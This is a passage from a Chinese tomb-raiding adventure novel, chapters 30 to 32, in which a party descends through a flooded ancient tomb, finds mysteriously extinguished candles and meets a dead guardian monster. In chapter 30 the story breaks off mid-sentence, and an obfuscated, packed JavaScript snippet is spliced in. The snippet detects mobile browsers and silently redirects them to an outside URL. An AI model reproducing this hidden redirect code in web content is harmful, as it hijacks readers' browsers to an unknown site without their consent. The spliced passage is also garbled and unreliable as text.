“废话,这显然是钱串子他们进来之后为了看清周围环境才点的。可是既然点着,为什么又要吹灭呢?这蜡烛显然是我们进来的时候刚灭的,不太可能是他们熄的啊。” 二胖说的有理,如果这灯是之前那帮人熄灭的,那他们进来的时候就肯定能看见或者听到动静,可是四周一片寂静根本就没有人,那这些烛灯到底是谁吹灭的?难道是风吹的? 可是这密闭的空间里怎么会有风呢?就算墙上有个洞口,那也是在另一头,离这少说也有百步,如果真从洞外吹进风来,也不可能会让这上百盏灯同时熄灭啊。 “难道这蜡烛是自己灭的?”二胖又嘀咕了一句,封鬼突然觉得脖后一阵寒意,这也难说啊,在这种穿越两千多年时空的战国古墓里,碰到什么怪事都有可能啊。 一直沉默的陈老四突然扭过头,一脸阴沉的看向霍二胖,用阴阳怪气的语调说: “你没听说过一句话,叫人点烛,鬼吹灯吗?” 30. 【30】人点烛,鬼吹灯 人点烛,鬼吹灯。 封鬼一听这话,顿时浑身的寒毛都炸了起来。别看他是个降妖除魔的传人,却一直都不是什么胆大的主,这两年跟着他二叔才练出来点胆量。 再说鬼神本来就是令人敬畏的存在,就算你胆子再大,身处在这种毛骨悚然的黑暗环境中,碰到诡异的事情,听到恐怖的说辞,怎么可能没有任何反应呢。 再看霍二胖那更是比自己不如,就听他声音都变了调,结结巴巴的问: “什,什么是鬼吹灯啊?” 鬼吹灯这种事封鬼还是知道的,就解释说,人的身上有三把阳火,被称为灵魂灯。 三盏灵魂灯一盏在头顶,两盏在肩膀。在阴气重的地方,千万要把这三个地方保护好,一旦让鬼有机可趁吹灭这三盏灯,你的阳寿就尽了。 二胖听完就连忙捂住肩膀,觉得头也不安全就又去捂头顶。封鬼就说你这样一来二去的不用等鬼吹灯了,自己就把灯给压灭了,二胖这才住手,吓出了一脑门的冷汗。 陈老四摇了摇头,显然是不赞同封鬼的说法,看了眼解鸦门,见她对自己点头示意,就对众人说: “我说的鬼吹灯跟封老弟说的并不是一回事。古人在盗墓的时候,会在墓室的入口点上一根蜡烛。如果墓主人不让你进来,就会把蜡烛吹灭。据说这是一种活人和死人之间的协议,古代的盗墓贼都是用这种方法来判断挖开的墓是否能进。不过用现代的科学来解释,点蜡烛只是为了看墓中的空气质量如何,要是氧气不足肯定烛灭人亡啊,下去了就是送死。古人又不懂这些,就认为是鬼神作怪,所以才有了‘人点烛鬼吹灯’的说法。” 二胖听完陈老四这么说,一下子放松了不少。 “哎呀,原来是这样啊!那就没事了,这里呼吸顺畅氧气充足,不可能有鬼……”二胖突然就停住了,再也不敢说下去,惊恐的看着众人,半响才又哆哆嗦嗦的开口: “既然不是因为氧气不足,那,那是为了什么?难道真是鬼吹的灯吗?” 二胖见陈老四和鸦门都没有回话,一下子就慌了,扯过封鬼就要去问他。封鬼眉头紧锁,看着四周的黑暗说: “管它是不是鬼,咱们把蜡烛都点上,看看到底是谁吹的灯。” 陈老四啧了啧嘴,倒是十分赞同封鬼的说法。 “嗯,这倒是个办法,既然蜡烛灭了一次,就有可能会灭第二次。” 鸦门也同意,两个领队的都表态了谁敢再有异议?于是掏出打火机把周围的蜡烛点燃,顿时灯火通明,整个殿堂内的格局全都显现了出来。 “啊?怎么是空的?”不知道是谁奇怪的叫了一声,封鬼看清周围的环境之后,心中也发出了类似的疑问。 墓室里面除了一圈排列有序的烛台,什么都没有,原本墙壁上是有壁画的,可因为在水里泡了两千多年,已经面目全非了,只依稀能看见些印子。而地上除了厚厚的泥沙与水生藻类植物,什么都没有,连个瓦罐铜器都没看见。 “这地方是不是已经被盗墓贼给光顾过了?怎么什么陪葬品都没有!” 有人表现出很失望的情绪,十分不满的抱怨,鸦门摇了摇头,很笃定的说: “这只是宫殿的第一层,就算真有东西也会是在下面。” “不错,下面至少还有两层,宝贝都是埋得越深越好。”陈老四也附和,大家一看两个最权威盗墓世家的后人都这么说了,总算是松了口气。 “可是我们怎么下去?这里根本就没有楼梯啊?” 陈晓从一进来就在找下到第二层的楼梯,却没有发现。众人这才意识到这个问题,都开始去找可以下去的通道。 有人在西南墙角的朽木堆旁发现了一个地洞,挖凿的手法与入口那个十分相似,显然是出自同一批人之手。而且石墩上牢牢套着根绳子,很明显钱串子他们就是从这里下去的。 “嗯,看来这宫殿每一层都是密闭独立的,根本就不相通。工匠们为了逃生只能从最底层开始,在每一层的天花板上凿出一个逃生洞。不过每一层的地面离房顶少说也有十几米,这可够困难的,也不知道他们是凿了多久。” 陈老四在那自言自语的说着,不由感叹人在危急时刻所爆发出来的潜能,为了尽快逃生,那些造墓工匠必然需要夜以继日的轮流凿穿这如此厚实的石墙啊,说不定在过程中就有支撑不住累死饿死的。 想到古代残忍的殉葬与活人祭,大家都觉得毛骨悚然,庆幸着自己是生于开明法治的自由时代啊。 据陈老四和解鸦门的了解,他们还从来都没有见过这种怪异构造的墓室,在建造之初也必然是困难重重,不由觉得这座墓修建的真正目的更加古怪难测。 “那我们就赶紧下去吧,说不定还能追上他们。”陈国祥催促着,众人也不再废话,一个接着一个都下到了第二层,等最后一个人的脚刚落地之后,洞口的灯光竟然毫无征兆的突然消失了!这说明上面一层所有被他们点着的蜡烛又同时熄灭了! 顿时所有人都惊得瞪圆了眼,面面相觑半天都说不出话来。同样的事情竟然发生了两次,上百支的蜡烛竟然真的可以在同一时刻瞬间被熄灭!这他娘的到底是怎么回事?是风?动物?是人?还是鬼?! “我去!这他娘的也太邪乎了!到底是谁灭的灯啊!”二胖已经吓出一脑门的冷汗了,忍不住大骂出声来壮胆。 “你这么大声就不怕把鬼给招来!”封鬼低声吼了他一句,这才老实了点儿。不过封鬼在他转身的时候就发现,他的脖子后面全都是汗啊,八成里面的衬衣也湿透了。 封鬼心说你这二胖胆子还真不怎么大,看来以后必须得给你练练胆啊。边想边走,脚底下就踢到了什么东西,拿手电筒一照,好像是个茶缸,从里面还钻出来一条黑白相间的小蛇。封鬼怕这种蛇有毒,就后退两步让它爬走,然后拿起茶缸查看,竟然是搪瓷的,已经锈得斑斑驳驳,不过还能看清楚上面有字。封鬼擦掉沉淀物,发现茶缸上写着毛主席语录。 嗯?封鬼就纳闷了,这是□□时候的搪瓷茶缸啊,怎么会出现在这里呢?还没等他来及细想,二胖就凑了过来,看着杯子上的红字念道: “农村是一个广阔的天地,在那里是可以大有作为的!”二胖刚念完,就发现不对劲,骂道: “哎呦我去!这不是毛主席语录吗?古墓里怎么会有这玩意儿啊?!” 这时候其他人也注意到他们的动静都围了过来,陈老四看到茶缸之后,大吃一惊。 “封老弟!你这东西是哪里来的!?” “就在地上。”封鬼指了指地上给他示意,陈老四连忙抢了过来,又是里里外外仔仔细细看了半天,突然叫道: “不好!这墓已经有人进来过了!” 这时候,不用他再说,基本上大家也都明白了。在战国古墓里,却出现了一个写着毛主席语录的搪瓷杯,那肯定是之前的盗墓贼留下来的,这么显而易见的事,总不至于是杯子自己穿越到这古墓里的吧。 而且照这杯子推算,之前的人在三四十年前就已经进入这个地宫了,可是他们又没有铜镜,也未到五星连珠之时,究竟是如何进来的呢?而且入口的水井显然是被封死的,根本就没有人动过,那就只有两个可能,要么是陈国祥在撒谎,他早在二十年前就挖通了深井,已经进入过古墓;要不就是之前那批人发现了另外一个入口,不知道用什么方法提前他们几十年进入了这个地宫! 陈老四显然是想到了这一点,一把抓住陈国祥的手腕,凶狠狠的说道: “祥子!这到底是怎么回事!地宫的入口不是一直有你在把守吗?”陈国祥一听就知道陈老四是在怀疑他,连忙喊冤: “我发誓水井真是我在今年2月挖通的!四叔你也不想想,如果真是我干的,二十年前我就该卷着财宝逃走了,再说陈晓还在我爹手里,我能丢下他不管吗?最重要的是,我也没有铜镜啊,我怎么打开石门进来?这不是冤枉人嘛!” 陈老四点了点头,算是相信了陈国祥。量他也没这么大胆,再说陈三水也不是个傻子,若是陈国祥真背着他进了地宫他必然会发现啊。 一时之间所有人都盯着茶缸是百感交集啊,不过想得最多的就是怕墓室已经遭到破坏,而金银珠宝和长生不老药也全都被洗劫一空了。 “哎!真没想到啊,千算万算,我怎么就没想到这一点。”陈老四叹了口气,看着众人继续说: “看来我们都猜错了,这两个洞根本就不是工匠挖的逃生通道,而是盗洞啊!我就说这么高的垂直距离在地宫里面的人根本就不好下手啊,而外面的人显然就容易多了。” 陈老四越说越懊恼,到最后都快带着哭腔了。众人也都是扫兴,觉得这趟肯定是白来了。鸦门见士气低落不能再这么下去,就对大伙说: “大家先别急,再仔细找找,下面还有一层没去呢。我们应该往好的方面想,往往第一次进来的盗墓贼都会失手,被墓中机关所杀。而机关被他们破坏,正方便我们得手。再说这墓中的陪葬品不计其数,就算他们拿也拿不完啊,所以不到最后一刻,我们绝对不能放弃。” 大伙仔细想了想,觉得鸦门说的有道理,反正都走了一半了,何不继续走下去看个究竟?做最坏的打算,就算这墓里什么都没有,那好歹还能看到个龙肆吧,真龙可没人见过,如果这趟能看到传说中的神兽,那也不枉此生了。 于是大家终于算是恢复了点信心,又开始在更大的一层墓室内摸索,没过多久就有了结果,他们发现这一层也是靠墙立着和顶层一模一样的人鱼膏烛台! 这一回二胖就劝说可千万别再把这些蜡烛点着了,要是再来一次鬼吹灯,他的魂都要给吓没了。封鬼就劝他,说一回生二回熟,这次保证他没有第一次反应大。而且鸦门和陈老四也表态说非得查个究竟,到底是谁灭的灯,还说这一次他们就在这守着了,看看是谁在装神弄鬼。 等蜡烛全都点燃之后,就发现这一层的地面比上一层干净了不少,经过洞口的过滤,并没有那么多的淤泥沉沙。这层还出现了大量的青铜器,横七竖八的散倒在地上,比如编钟、三足鼎、兽面纹觚、单耳斝之类,以饮食器、酒水器、乐器为主,也可作为祭祀宴飨的礼器。 而让大家出乎意料的是,这一层的石壁上竟然雕刻着壁画,其中最为显眼的是一副宫廷膳食图,场面宏大丰富,人物情态逼真,这一大发现也证实了墓主人的显赫身份,至少是个王侯将相。 “哎?这墓主人原来是个酒鬼啊!这么多的酒杯都能开个铺子了。”二胖忍不住调侃,封鬼没空搭理他,被另外一面墙上雕刻的一张巨大兽脸吸引了所有注意力。等他仔仔细细的看清楚之后,整个脑门子都炸了。这张兽面不是别的,正是那只像是饕餮的犼! 封鬼只觉得心中越来越忐忑,那个不愿提及的猜测似乎又得到了进一步证实:这墓中果然是镇着一只犼啊! 只见那犼贪婪的从高墙上俯视着墓中的所有,似乎要将一切吞噬。难道说墓主人就是一只犼?古人并不是镇压,而是将这犼视为神灵风光大葬?! 不敢将心中的想法对大家说,别人问起这兽脸的时候,封鬼只说可能是饕餮也可能是犼,他也拿不准,必须再下到更深处看到更多的线索才能确定。 还是跟之前两层一样,他们也找到下去的洞口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391850|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是这一次鸦门和陈老四坚持要多待上一段时间看个究竟。 可是等了十几分钟,蜡烛燃得好好的一点儿熄灭的迹象都没有。又过去了十分钟,依然没有任何动静,大家就不愿再耽误下去,下到了第三层,而蜡烛又是在这个时候瞬间熄灭了。 这一回大家显然都有些习惯了,甚至之前还有人为此打了赌,说蜡烛是必然会灭。 这已经是第三次了,所谓事不过三,如果再碰上这种鬼吹灯的事,那他们可就全都要当笑话讲了。 “我去!这他娘的到底是哪个混蛋在跟你霍爷我开玩笑!有本事就出来痛痛快快的打一架,暗里玩儿阴的是TM孙子!” 二胖又开始大骂,不过这次大家可没工夫理他,因为在众人灯光无意聚集的前方,出现了一个高台,两边立着石柱,台上有宝座,这显然是某个君主处理朝政的大殿。 这时候有些人已经激动的开始颤抖了,难道说这座墓是个王陵?!是秦国某个君王的陵墓?! “这,这不会是秦始皇陵吧!”有人怪叫了一声,二胖就嘲笑道: “连我都知道始皇陵在骊山,怎么可能出现在这里?再说秦始皇的墓也不可能这么寒酸啊。” 虽然这座墓的规模已经根本不可能说是寒酸了,但至少离祖龙嬴政的陵墓还有那么一段差距。不过在春秋战国时期西安一直都是秦国的疆土,如果真在这里出现个帝陵,那必然是秦国的国王。 “大家快去点蜡烛!”为了看得更清楚,鸦门就催促众人去点灯,可找了一圈之后才发现,这一层竟然没有一个烛台!而且比上两层都要大得多的空间中,没有任何的陈列物,空荡荡的大殿里,除了高台与宝座,什么都没有。 与宝座遥遥相对的是在宫殿外面看到的那扇巨大的殿门,已经被封死,也没有门把和锁孔。这时候就有人觉得不对劲了,按理说,这已经是最后一层了,可怎么还是没有看到钱串子他们呢?之前的人都到哪里去了?而且那条龙又在哪里?棺椁呢?陪葬品呢?怎么可能会是座空墓呢! “到高台上去看看!” 陈老四喊了一声,大家立刻会意,如果真要有什么东西,肯定在那宝座的高台之上。 高台连着地面有十二级阶梯,每一层都修葺的十分平整。封鬼是第一个登上高台的,等他上去之后用矿灯一照,就发现在宝座正前方的地面上,有八个成人小腿高的石兽围了一圈摆在正中央,面朝四方形态各异,封鬼只能认出饕餮貔貅与麒麟,其他的有鸟有兽,不知道是何方神圣。而八兽围成的圆圈之中,刻着与铜镜上一模一样的复杂星象图,石兽就蹲在乾、坤、震、巽、坎、离、艮、兑八卦位置之上。 “哎?这还能动啊。”二胖已经抬起一只麒麟兽在那研究,众人就发现在麒麟的底座下面有凹槽,与地上刻的八卦突起正好吻合。陈晓也抬起一个石兽查看,果然也是与它相对的坎卦吻合。这八只神兽就像是八枚石印,与星象八卦组成了一个诡异的阵势。 “这是个机关,下面还有墓室!”陈老四突然提高嗓门说到,封鬼一下子就反应过来。不错,这八只石兽既然与八卦镶嵌,必定是开启某个机关的钥匙,而钱串子他们又不见踪影,必定是到了地下。这里一定就是地下入口,下面必然还有更大的空间。 众人一下子就兴奋起来,纷纷研究着如何开启机关。二胖力气大,将石兽放回卦位转了一下,发现竟然可以转动,陈老四就叫大家将所有兽头面朝中央。 只见八只石兽同时逆时针自转一圈,就像是八音盒中跳芭蕾舞的小人,然后是噶哒一声上闩卡锁的声音,就看见星象图中间慢慢分开,像是两扇开启的电梯门,缝隙越来越大,出现了一个直径足有十余米的地洞,而洞中有一道石阶,直接通向黑暗的地下。 “我去!又是一个地狱黑洞!” 二胖又是一声,不过这时候所有人的注意力都被地洞给吸引了,谁还有功夫搭理他啊。陈老四扔了个冷烟火下去,发现石阶并不长,只有十几阶,而下面应该是个甬道。 “这就对了,我说那龙肆跑到哪里去了,原来是到了下面!看来钱串子他们也下去了,里面应该是安全的,咱们也抓紧时间吧。” 陈老四说完就第一个走下石阶,剩下的人也都争先恐后的进了地洞。甬道十分狭长低矮,勉强够两人并肩而行,像是二胖这么高的就只能弓着身子通过。不过两边的石壁却光滑笔直,体现出古人的先进测量技术。 甬道的地面和墙壁是湿的,显然之前也是泡在水中。不过却有任何的青苔水草等水生物,这点倒是有点奇怪。 队伍走了不到一分钟,突然从后面传来一声闷响,陈老四在前面忙问怎么回事,最后面的人就说是入口的八卦石门自动关闭了,不知道是否是他们无意间碰到了什么机关。 “那怎么办?!还能再打开吗?”大家急忙问,后面的人就说实在没办法,而且墙上也没有任何的机关暗门,看来他们是被困在地下了。 “没办法,除非再有别人从外面打开,否则我们只好往前走找其他出路了。” 陈老四还算冷静,安慰了众人,大家就继续往前走。甬道是倾斜向下的,越往里走越宽敞,到后来已经可以并排五人有余,二胖也可以挺直腰板走路了。 “前面不知道还有多深,大家小心点儿,千万不要乱碰墙壁,以免……” 陈老四的说话声戛然而止,人也突然停了下来,跟在他后面的封鬼没来及反应差点撞上他的背。后面的人察觉有异样立刻跟着停了下来。 “怎么了?” “嘘!封老弟,你过来帮我瞅瞅,是不是我眼花了?前面怎么好像有个人影?” 31.【31】守墓山魑 前面有个人影?封鬼愣了一下,随即就走到前面张望。在墓道里空间狭窄,比较容易聚光,如果用远射程的矿灯和狼眼手电会产生视觉盲点,反而不容易看清前面的状况。 所以大家在下来之后都只开着冷光LED小手电照明,这样一来超过十几米的地方就一片黑暗。 封鬼就是在墓道前方灯光与黑暗的交界处看到了一个直角转弯,而在直面对他们的墙壁上,出现了一个模糊的黑影,看样子确实像是个人的影子! “封老弟?我没有看错吧?” 陈老四小声询问,封鬼微微点了点头,心里却觉得十分怪异。 按理说,这墓中要是有人那肯定是钱串子和宋阿拽他们,可如果是他们,看到灯光之后绝对会打招呼啊,怎么可能没有任何动静呢? 而且看那影子的模样像是站在那里一动不动,这实在是有些古怪。 “不会是钱老爷他们吧?”封鬼就把心中的想法说给陈老四听,陈老四摇了摇头,压低声音道: “你仔细看,那影子身上有毛,而且还很长。钱串子他们总不至于穿着毛皮大衣吧?” 封鬼眨了眨眼再仔细看,果然发现那影子带毛,而且身材极宽,简直就超过了正常人的比例。顿时他就觉得毛骨悚然,这不可能是个人啊,倒像是个长毛的怪物!难道是僵尸吗?! “是僵尸?”封鬼低声说,陈老四点头。 “很有这个可能。” 这时候二胖也凑了上来,显然听到封鬼和陈老四的谈话,看着前面那黑影就说: “要我说就扔个冷烟火过去,咱们看个究竟,管他是人是鬼先吃霍爷一枪再说!” 还没等封鬼骂他动静大,陈老四就先回瞪了他一眼: “不能打草惊蛇!” “我看倒不是什么僵尸,僵尸这种东西鼻子都很令灵的,要是闻到我们的味儿早就应该扑上来了。”鸦门也发表了自己的看法,她捉鬼降妖的实战经验显然比陈老四多,封鬼倒是相当的赞同。 二胖见他们都是不愠不火,好像根本就无从下手,实在耐不住性子,撸起袖子骂道: “你们打算怎么办?就他娘的在这干耗?!要我说就赶紧扔个光照过去看看!管他是死是活,总比在这瞎猜来得痛快!” 二胖说的不错,总不能在这跟它干耗着。那影子立在原地一动也不动,压根不知道它想干嘛。当下也没有更好的办法,也只能投石问路先探个究竟了。 陈老四考虑再三总算是同意了,二胖迫不及待的掏出个冷烟火点燃扔了出去,正好落在拐角处。在忽明忽暗的冷光下,众人看清那黑影的轮廓,身躯庞大四肢短粗,还长着一颗极大的脑袋。 可是过了许久,等烟火灭了之后,那影子还是一动不动的立在原地,连姿势都没有变换过。这一下大家都有点儿丈二和尚了,实在猜不清摸不透这其中的玄机啊。 这他娘的到底是在干嘛?作秀吗?还是吓唬人啊!这么大的动静都没反应,难不成是个石头的?! 想到这一层,封鬼觉得极有可能啊,闹了半天说不定全都是他们自己吓自己。再抽出邪牙刀,根本就不亮不响,显然根本就不是鬼怪啊。 “嗨!肯定是个石像!摆在那里吓唬盗墓贼的!咱们赶紧过去吧。” 封鬼说完就自己先走了过去,其他人觉得有理也都紧紧跟上。可当封鬼转过弯道,将手电照向他所谓的那个石像之后,冷汗一下子就冒了出来。 那哪里是个石像?分明是个活生生的怪物!只见它长着一张石化般面无表情的怪脸,虽然有眼有口,却只是几个黑洞,根本没有眼珠嘴唇;浑身漆黑的毛发,长得拖到地上,而身体根本就是个抬起前爪立着的狮子模样,这分明是个人面兽身的怪物啊! “操!这他娘的是个什么玩意儿?!” 二胖吓得掉了手中的电筒,封鬼连忙捂住他的嘴,生怕惊扰了那个原本静止的可怖怪物。 只见那怪物依然呆立不动,在地上来回滚动的手电筒的冷光忽明忽暗时有时无,映照在那漆黑的毛发上,再配着四周的黑暗,就像是地狱一样鬼气森森。 毛骨悚然,封鬼只能想到用这个词来形容现在的情况。可是那怪物根本就一动不动,好像压根就没有看到他们。这也太奇怪了,让他们进也不是退也不是,只能与那怪物一样立在原地面面相觑,坚持贯彻敌不动我不动的战略方针。 也不知过了多久,久到封鬼看见二胖脸上的汗都干了,突然从前方的黑暗中传来脚步声,有人拿手电照了过去,就看见一个人影朝他们跑了过来,大家紧张的都端起枪,怕是又来了个妖怪。等那人离近之后才发现,原来是钱串子! “原来是你啊!吓死我们了!”陈老四松了口气。钱串子怪叫一声,来回打量着众人说: “哎?你们怎么才下来?” “别提了!这到底是个什么东西?!”陈老四指着那长毛狮怪后退两步,生怕它突然发难扑将过来。钱串子摇了摇头,无奈的叹道: “哎,放心吧!这么大的动静,就算沉睡千年的王八也醒了。它已经死了,根本就不是个活物。” “啊?!死了?”众人又是一惊,忙问这到底是什么东西。 “这是守墓山魑。” “山、山什么吃?”二胖没听明白,差点口吃。钱串子冷笑一声,继续说道: “魑魅,山林异气所生,为人害者。木、石、禽、兽化为精怪,若龙而黄,非龙非彲,以为山神。魑是一种兽形的山神,多出没于阴气极重的深山之中,古代常有道行极高的神人捉了活的山魑封在墓中镇守。” “只是山魑邪佞,墓主人要么王侯将相,要么九五之尊,必须是及其尊贵显赫之命才能镇住它,否则会被反噬,灵魂封在地底下永不超生。这终南山多毒瘴阴邪之气,自然会滋生山魑。没想到这墓主人竟有通天的本事,可以将山魑困在墓中为他镇守。” “哦!那这守墓山魑是六部精怪的一种啊。” 二胖在那自言自语,钱串子说完就摸着光溜溜的下巴盯着那怪物看,众人听得神乎,心中不免惊叹。 只是此时实在不是感叹怪力乱神的时候,照钱串子所说这山魑何其厉害,根本不是凡人所能对付的,可它又是如何死了的呢? 封鬼就提出自己的疑问,只见钱串子嘿嘿一笑,那张老脸在冷光的照射下显得鬼气森森,再加上周围渲染出的恐怖环境,这带着回音的笑声未免有些狰狞了。 钱串子啧了啧嘴,摇头叹息道: “哎,这都靠那姓宋的小子,要不是他,老夫已经成了这山魑的腹中食了。” 宋阿拽?难道说这守墓山魑是被他给打死的?众人忙问是怎么回事,钱串子就把他们下来之后的事从头讲了一遍。 与封鬼他们之前的遭遇基本一样,也是发现了人鱼膏烛,碰上了鬼吹灯,从八卦门下来进入墓道,接着就在此处遇到了守墓山魑。 “老夫盗了一辈子的墓,从未遇到过这种传说中的怪物。当时见到它就这么立在甬道里挡住我们的去路,老夫也是吓得差点就丢了魂啊。” 钱串子说,当时他和阿福走在最前面,刚遇上这怪物阿福就立刻端起M950朝它扫射,可是这山魑皮毛硬如钢板,子弹根本就打不进去。 山魑虽然行动迟缓如同一只巨大的长毛树懒,可它就这么一步一步的逼上前,吓得阿福丢下枪就退到了后面。 钱串子举着自己带刀头的拐杖就要往它身上刺,没想到一巴掌被山魑拍倒在地,吐了满口血,眼见它张着大嘴就要一口咬上来,玄武洒出一把细如尖针的飞镖,直直钉入山魑的皮毛缝隙之中,疼得它哀嚎起来,张大嘴从口中喷出一股黑雾。 山魑口中呼出的黑雾是一种可以令人致命的剧毒瘴气,钱串子一看这下完了,大家今天都是要死在这里了,当下也没了反抗的心力。 就看见先是阿福,接着是小白玄武,一个个都软了身子倒在地上,而钱串子自己也觉胸口憋闷,嗓子奇痒难忍,就像是在脖子上爬了条千足蜈蚣,痒得他想要抓挠,却浑身无力胳膊根本就抬不起来。 或许所有人都遇到过这种尴尬的境地,想要挠背后的痒痒却怎么也挠不到,越痒就越想挠越想挠就越挠不到,那种滋味简直比死还难受。 而现在的感觉可是比平时的痒严重了百倍千倍,不仅仅是痒,还疼,跟马蜂蛰了一样。 钱串子真想这时候能有谁给自己一刀痛快,立即死了简直就是一种太过美好的奢望。 随着黑雾越来越浓,他的视线也是越来越模糊,可就在这个时候,他突然看到一个人影扑到山魑的面前,山魑抬起前爪就想故技重施将他拍倒在地。 没想到那人反手一搏,只听咔哒噼啪一连串骨骼断裂的声响,山魑的前爪竟然被那人生生的给折断了,再也无法逞凶的耷拉在胸前。 钱串子一下子就清醒了,目瞪口呆的看着这一切的发生。守墓山魑的身体构造简直就是铜皮铁骨,可以说是金刚不坏之身,没想到竟然在一瞬间就被人给折断了,这也太不可思议了。 钱串子揉了揉眼想要透过黑雾看清这人究竟是何方神圣,就见在那一团烟雾中出现了一个巨大的怪影,绝对不是山魑,更像是一头长着对大犄角的野兽,如果说非要像什么生物,看影子倒像是牛魔王,或者说是指环王中的炎魔。 不过因为黑雾实在太浓,钱串子根本就看不真切,加上喉咙越来越难受,实在没法呼吸,大脑供养不足,两眼一黑,晕死过去。 也不知过了多久,等他再次醒来的时候,宋阿拽他们正围着那山魑查看,阿福在给自己喂水,见他醒了就惊喜的大叫。 这时候烟雾已经散去,空气也恢复到了之前的良好状态。钱串子发现自己的五个手指头尖儿被划了五道口子,显然是被放了血。 阿福说这是宋阿拽干的,是他给大家放了毒血救了大家,而那守墓山魑也被他给打死了。 看来折断山魑手臂的人确实是他啊。可是为什么他没有中毒呢?那个怪影又是怎么回事? 钱串子就把晕死之前看到的情况告诉宋阿拽,问他那怪影到底是什么。 宋阿拽就说他与山魑在浓雾中打斗的时候也看到了那个巨大的怪影,而且他发现那怪物在吸食山魑喷出的毒雾。 等雾气散尽之后,他就看清了那怪物的面貌,不是别人,正是那龙化了的天丑龙肆! 听到这里,封鬼和大家一样发现不太对劲的地方,就问钱串子: “天丑龙王不是一条恶龙吗?怎么成了牛魔王的样子?” 钱串子摇了摇头,叹道: “你们都理解错了,老夫一开始也是这么想的。可是那姓宋的小哥说天丑龙肆根本就不是我们在中国古代图腾上看到的那种有鱼鳞蛇身的龙族,而是个龙头人身的魔怪,长着 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“虽然它还不是神,可已经跟神差不多了:为旱魃魔化所变,敢与神叫嚣,华夏五千年仅成其一者,被观音收为坐骑,名为犼。” 钱串子似乎也早就想到了这一点,十分认同的点了点头。不过其他人就没有那么淡定了,一听说是犼都吓得面色铁青。 不过还是有这么一个例外,封鬼还觉得难以理解,怎么霍二胖在听到这地宫中有一只犼的时候竟然也可以面不改色?反而好像是松了口气,豁达道: “哦,是犼啊!那就不怕了,那宋阿拽不说自己捉过一只犼么,这次让他再捉上一回不就得了。” 原来是为这个,封鬼哑然。也不知宋阿拽是不是吹嘘,他要是真抓过一只犼,到真的不必这么担心了。想到这里,封鬼突然就问: “为什么只有那姓宋的没中毒?” “这……老夫问过了,可是他说自己也不知道,他从小就是百毒不侵的体质,所以也没觉得有什么奇怪的。” “百毒不侵?那这不是跟某人的封鬼宝血有点像嘛!”二胖朝封鬼挤了挤眼,封鬼没有理他,又问钱串子: “那他们人呢?怎么就只有你一个?” “听老夫接着说啊。我们整顿之后继续往前走,墓道是越来越宽越来越深,石壁两边出现了许多的窟窿,也不知道通往何处。从那窟窿里突然飞出一只怪鸟,体型巨大简直就像是海东青啊,姓宋的说就是这只鸟把他引到了湖底,然后就追着它跑了,而他的两个手下也跟着去了。等我和阿福追过去之后,才发现前面有三个岔口,不知道他们进了哪一条道,就选了中间的,却没有发现他们,这才走散了。” 封鬼听到钱串子对那怪鸟的描述,心里不由得一紧。海东青是一种隼类猛禽,被满族人誉为鹰神。传说中十万只神鹰才出一只海东青,康熙皇帝狩猎尤其钟情这种大型隼鹰,赞美它为:“羽虫三百有六十,神俊最数海东青。” 宋阿拽之前就跟自己说过怪鸟的事,也是大如雕枭,基本上跟海东青的描述一致,那就说明他并没有骗自己,确实有这么一种大如鹰的怪鸟存在于这片绿洲,而且这种鸟是两栖动物,可以下水。 有那么好一会儿大家都陷入了沉思,不知道在想些什么,反正绝对没有好事。势态朝着越来越无法预知的危险方向发展,前途危机重重,也不知还有多少人愿意继续走下去。 可是后面已经没有退路了,如果想活着出去,只能到前面去找出路。再说能坚持走到这一步的,那绝对没有一个是普通人,个个骨子里都流着冒险探秘的血液。 所以根本不可能有人喊停,就算前面有龙魔和犼等着他们,他们也要做屠龙勇士,明知山有虎,偏向虎山行! “那阿福呢?” 陈老四突然问,封鬼见钱串子脸色微微一变,看着前方的墓道说: “他就在前面,咱们继续往前走吧。” 说完,就自己领头先走了,其他人连忙跟上,封鬼最后看了眼那面目狰狞的守墓山魑,心说也算你倒霉,被捉来守了两千多年的墓,如今就这么枉死了,等日后有缘为你超度,下辈子别再被人利用了。 一路上钱串子没再说什么话,陈老四问他是怎么找回来的,他就说自己是回来找拐杖的,可拐杖没找到,却遇到了他们。 走了几分钟,他们果然看到两边石壁上有大大小小的窟窿,大的能容人爬进去,小的只有老鼠才能钻进去。里面黑洞洞的根本什么也看不见,完全不知道是用来做什么的。有人猜是为了排水,还有人说是殉葬坑。不过没人敢进去看,都加快脚步前进,到了钱串子所说的岔口,进入中间的墓道。 这个墓道与之前不同,错综复杂像是迷宫,他们走了十几分钟才走到头,进入一间墓室。 墓室入口的墙角点着跟蜡烛,显然是出自老派盗墓贼钱串子的手笔。 在昏暗摇曳的烛光下,他们发现有个人躺在地上,不知道是谁用矿灯照了过去,将那人照得清清楚楚,封鬼一看,顿时就吓得面色铁青。 只见那人倒在血泊之中,一只眼睛被箭给射穿了,另一只眼大睁着惊恐的死死盯着对面的墙壁,不知道死前看到了什么恐怖的事情。 封鬼认得这个人,他就是阿福! “这倒霉孩子就是不听话,我不让他碰那眼睛,他就是不听啊。” 32.【32】秃毛怪鸟与九层妖楼 钱串子叹着气说,众人被阿福的狰狞死状吓得都失了魂了,半天也没反应过来钱串子到底说了什么。半响还是陈老四扭过头看向钱串子。 “眼睛?什么眼睛?” “就在那面墙上。”钱串子指着阿福瞪着的那面墙说,这时候大家才发现在石壁上刻着一只巨大的怪鸟,人面鹰嘴,像是张雷公脸;两只利爪粗壮有力,腿上长着鳞片,足踩一条大蛇;雷公鸟的头顶画着九个太阳,在鸟和太阳的周围还刻有火焰。 “这是什么鸟!连羽毛都没有,翅膀上还长爪子!” 二胖怪叫一声,封鬼又仔细看,果然发现这怪鸟没有羽毛,两只光溜溜的肉翅就像是蝙蝠的翅膀一样,而且在翅膀上也长有一对翼手,猛一看就像是只掉光了毛的猴面猫头鹰,不知这又是什么怪物的图腾崇拜。 而最令人称奇的是,这只怪鸟的两眼是用两大块蓝宝石镶嵌而成的,有一只眼上的宝石已经没了,只剩下一个黑洞。 